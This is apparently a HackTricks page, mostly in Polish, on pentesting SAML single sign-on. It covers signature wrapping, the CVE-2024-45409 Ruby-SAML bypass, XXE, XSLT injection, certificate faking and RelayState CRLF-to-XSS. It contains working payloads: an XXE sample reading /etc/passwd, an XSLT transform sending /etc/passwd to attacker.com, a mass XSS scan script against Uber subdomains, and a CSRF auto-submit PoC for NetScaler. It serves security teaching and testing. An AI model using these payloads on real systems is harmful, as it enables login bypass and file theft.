SAML Attacks
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Narzędzie
SAMLExtractor: Narzędzie, które może przyjąć URL lub listę URL-i i zwraca SAML consume URL.
XML round-trip
W XML podpisana część dokumentu jest zapisywana w pamięci, następnie wykonywane jest pewne kodowanie/odkodowanie i sprawdzany jest podpis. W idealnym przypadku to kodowanie/odkodowanie nie powinno zmieniać danych, ale w takim scenariuszu dane sprawdzane i oryginalne dane mogą się nie zgadzać.
Na przykład, sprawdź następujący kod:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Uruchomienie programu na REXML 3.2.4 lub wcześniejszej wersji spowodowałoby zamiast tego następujące wyjście:
First child in original doc: Y
First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
.png)
And this is how it saw it after a round of parsing and serialization:
.png)
For more information about the vulnerability and how to abuse it:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
W XML Signature Wrapping attacks (XSW) przeciwnicy wykorzystują podatność powstającą, gdy dokumenty XML są przetwarzane w dwóch odrębnych fazach: signature validation i function invocation. Te ataki polegają na modyfikacji struktury dokumentu XML. Konkretnie, atakujący injects forged elements, które nie naruszają ważności XML Signature. Ta manipulacja ma na celu stworzenie rozbieżności między elementami analizowanymi przez application logic a tymi sprawdzanymi przez signature verification module. W efekcie, choć XML Signature pozostaje technicznie prawidłowy i przechodzi weryfikację, application logic przetwarza fraudulent elements. W rezultacie atakujący omija integrity protection i origin authentication XML Signature, umożliwiając injection of arbitrary content bez wykrycia.
Następujące ataki bazują na this blog post and this paper. Sprawdź je, aby uzyskać więcej szczegółów.
XSW #1
- Strategia: Dodawany jest nowy element root zawierający signature.
- Implikacja: Validator może pomylić oryginalny “Response -> Assertion -> Subject” z “evil new Response -> Assertion -> Subject” atakującego, prowadząc do problemów z integralnością danych.
.png)
XSW #2
- Różnica w stosunku do XSW #1: Wykorzystuje detached signature zamiast enveloping signature.
- Implikacja: Struktura “evil”, podobna do XSW #1, ma na celu zmylenie business logic po sprawdzeniu integralności.
.png)
XSW #3
- Strategia: Tworzona jest evil Assertion na tym samym poziomie hierarchii co oryginalna assertion.
- Implikacja: Ma na celu zmylenie business logic i użycie złośliwych danych.
.png)
XSW #4
- Różnica w stosunku do XSW #3: Oryginalna Assertion staje się child duplicated (evil) Assertion.
- Implikacja: Podobne do XSW #3, ale bardziej agresywnie zmienia strukturę XML.
.png)
XSW #5
- Unikalny aspekt: Ani Signature, ani oryginalna Assertion nie trzymają się standardowych konfiguracji (enveloped/enveloping/detached).
- Implikacja: Skopiowana Assertion envelopes Signature, modyfikując oczekiwaną strukturę dokumentu.
.png)
XSW #6
- Strategia: Podobne wstawienie miejsca jak w XSW #4 i #5, ale ze zmianą.
- Implikacja: Skopiowana Assertion envelopes Signature, która następnie envelopes oryginalną Assertion, tworząc zagnieżdżoną, zwodniczą strukturę.
.png)
XSW #7
- Strategia: Wstawiany jest element Extensions z skopiowaną Assertion jako child.
- Implikacja: Wykorzystuje mniej restrykcyjny schemat elementu Extensions, aby obejść kontromechanizmy walidacji schematu, szczególnie w bibliotekach takich jak OpenSAML.
.png)
XSW #8
- Różnica w stosunku do XSW #7: Wykorzystuje inny, mniej restrykcyjny element XML dla wariantu ataku.
- Implikacja: Oryginalna Assertion staje się child tego mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.
.png)
Tool
Możesz użyć Burp extension SAML Raider aby sparsować request, zastosować dowolny atak XSW i go uruchomić.
Ruby-SAML signature verification bypass (CVE-2024-45409)
Impact: Jeśli Service Provider używa podatnego Ruby-SAML (np. GitLab SAML SSO), atakujący, który zdobędzie any IdP-signed SAMLResponse, może forge a new assertion i uwierzytelnić się jako dowolny użytkownik.
High-level workflow (signature-wrapping style bypass):
- Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
- Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
- Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
- Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.
Example using the Synacktiv PoC (input is the captured SAMLResponse blob):
python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64
XXE
Jeśli nie wiesz, czym są ataki XXE, przeczytaj następującą stronę:
XXE - XEE - XML External Entity
SAML Responses są dokumentami XML spłaszczonymi i zakodowanymi w base64 i mogą być podatne na ataki XML External Entity (XXE). Manipulując strukturą XML SAML Response, atakujący mogą próbować wykorzystać podatności XXE. Oto, jak taki atak można zobrazować:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Narzędzia
Możesz także użyć rozszerzenia Burp SAML Raider do wygenerowania POC z żądania SAML, aby przetestować możliwe luki XXE i luki SAML.
Obejrzyj też to wystąpienie: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT przez SAML
Aby uzyskać więcej informacji o XSLT zobacz:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) można użyć do przekształcania dokumentów XML na różne formaty, takie jak HTML, JSON czy PDF. Należy zauważyć, że transformacje XSLT są wykonywane przed weryfikacją podpisu cyfrowego. Oznacza to, że atak może być skuteczny nawet bez prawidłowego podpisu; podpis samopodpisany lub nieważny podpis wystarczy, aby go przeprowadzić.
Tutaj znajdziesz POC do sprawdzenia tego typu luk; na stronie hacktricks wymienionej na początku tej sekcji znajdziesz payloads.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Narzędzie
Możesz także użyć rozszerzenia Burp SAML Raider do wygenerowania POC z żądania SAML w celu przetestowania ewentualnych podatności XSLT.
Zobacz także ten wykład: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion obserwuje zachowanie implementacji SAML, gdy Signature element nie jest obecny. Jeśli ten element brakuje, walidacja podpisu może nie zachodzić, co stwarza podatność. Można to przetestować, modyfikując zawartość, która zwykle jest weryfikowana przez podpis.
.png)
Narzędzie
Możesz także użyć rozszerzenia Burp SAML Raider. Przechwyć SAML Response i kliknij Remove Signatures. W ten sposób wszystkie Signature elements zostaną usunięte.
Po usunięciu podpisów pozwól, by żądanie dotarło do celu. Jeśli Signature nie jest wymagany przez Service
Certificate Faking
Certificate Faking
Certificate Faking to technika służąca do sprawdzenia, czy Service Provider (SP) prawidłowo weryfikuje, że SAML Message jest podpisany przez zaufany Identity Provider (IdP). Polega na użyciu *self-signed certificate do podpisania SAML Response lub Assertion, co pomaga ocenić proces walidacji zaufania między SP a IdP.
Jak przeprowadzić Certificate Faking
Poniższe kroki opisują proces z wykorzystaniem rozszerzenia Burp SAML Raider:
- Przechwyć SAML Response.
- Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs przy użyciu przycisku
Send Certificate to SAML Raider Certs. - W karcie SAML Raider Certificates wybierz zaimportowany certyfikat i kliknij
Save and Self-Sign, aby utworzyć self-signed klon oryginalnego certyfikatu. - Wróć do przechwyconego żądania w Proxy Burpa. Wybierz nowy self-signed certyfikat z rozwijanego menu XML Signature.
- Usuń istniejące podpisy za pomocą przycisku
Remove Signatures. - Podpisz wiadomość lub assertion nowym certyfikatem używając przycisku
(Re-)Sign Messagelub(Re-)Sign Assertion, w zależności od potrzeby. - Prześlij podpisaną wiadomość dalej. Udane uwierzytelnienie wskazuje, że SP akceptuje wiadomości podpisane przez twój self-signed certificate, co ujawnia potencjalne podatności w procesie walidacji SAML messages.
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion oraz Service Provider Target Confusion polegają na sprawdzeniu, czy Service Provider poprawnie weryfikuje zamierzonego odbiorcę odpowiedzi. Innymi słowy, Service Provider powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego providera. Kluczowym elementem jest pole Recipient, znajdujące się w elemencie SubjectConfirmationData odpowiedzi SAML. To pole określa URL, na który Assertion musi zostać wysłane. Jeśli faktyczny odbiorca nie odpowiada zamierzonemu Service Provider, Assertion powinien być uznany za nieważny.
Jak to działa
Aby atak SAML Token Recipient Confusion (SAML-TRC) był możliwy, muszą być spełnione pewne warunki. Po pierwsze, musi istnieć ważne konto na Service Provider (określanym jako SP-Legit). Po drugie, docelowy Service Provider (SP-Target) musi akceptować tokeny od tego samego Identity Provider, który obsługuje SP-Legit.
Proces ataku jest prosty przy spełnieniu tych warunków. Autentyczna sesja jest inicjowana na SP-Legit za pośrednictwem wspólnego Identity Provider. SAML Response od Identity Provider do SP-Legit jest przechwytywana. Przechwycony SAML Response, pierwotnie przeznaczony dla SP-Legit, jest następnie przekierowywany do SP-Target. Sukces ataku polega na tym, że SP-Target akceptuje Assertion, przyznając dostęp do zasobów pod tym samym nazwą konta używaną dla SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS w funkcjonalności wylogowania
Oryginalne badanie jest dostępne pod tym linkiem.
Podczas procesu directory brute forcing odkryto stronę logout pod adresem:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Po otwarciu tego linku nastąpiło przekierowanie do:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
To ujawniło, że parametr base akceptuje adres URL. W związku z tym pojawił się pomysł, aby zastąpić adres URL javascript:alert(123); w próbie wywołania ataku XSS (Cross-Site Scripting).
Masowa eksploatacja
Narzędzie SAMLExtractor zostało użyte do analizy subdomen uberinternal.com w poszukiwaniu domen korzystających z tej samej biblioteki. Następnie opracowano skrypt skierowany na stronę oidauth/prompt. Skrypt testuje pod kątem XSS (Cross-Site Scripting) poprzez wprowadzanie danych i sprawdzanie, czy są one odzwierciedlone w wyniku. W przypadkach, gdy dane są rzeczywiście odzwierciedlane, skrypt oznacza stronę jako podatną.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayState-based header/body injection to rXSS
Niektóre SAML SSO endpoints dekodują RelayState, a następnie odzwierciedlają go w odpowiedzi bez sanitacji. Jeśli możesz wstrzyknąć znaki nowej linii i nadpisać odpowiedzi Content-Type, możesz zmusić przeglądarkę do wyrenderowania kontrolowanego przez atakującego HTML, osiągając reflected XSS.
- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
Generalized steps:
- Zbuduj sekwencję header/body injection zaczynającą się od znaku nowej linii, nadpisz Content-Type na HTML, a następnie wstrzyknij payload HTML/JS:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- Zakoduj sekwencję w formacie URL (przykład):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- Zakoduj ten URL-encoded string w base64 i umieść go w
RelayState.
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- Wyślij POST z syntaktycznie prawidłowym
SAMLResponsei spreparowanymRelayStatedo SSO endpointu (np./cgi/logout). - Dostarcz przez CSRF: udostępnij stronę, która automatycznie wykona cross-origin POST do docelowego origin, zawierający oba pola.
PoC przeciwko NetScaler SSO endpointowi (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
Wzorzec dostarczania CSRF:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
Dlaczego to działa: serwer dekoduje RelayState i włącza go do odpowiedzi w sposób, który pozwala na newline injection, umożliwiając atakującemu wpływanie na nagłówki i ciało. Wymuszenie Content-Type: text/html powoduje, że przeglądarka renderuje HTML kontrolowany przez atakującego z treści odpowiedzi.
Referencje
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
- https://0xdf.gitlab.io/2026/03/03/htb-barrier.html
- https://github.com/synacktiv/CVE-2024-45409
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


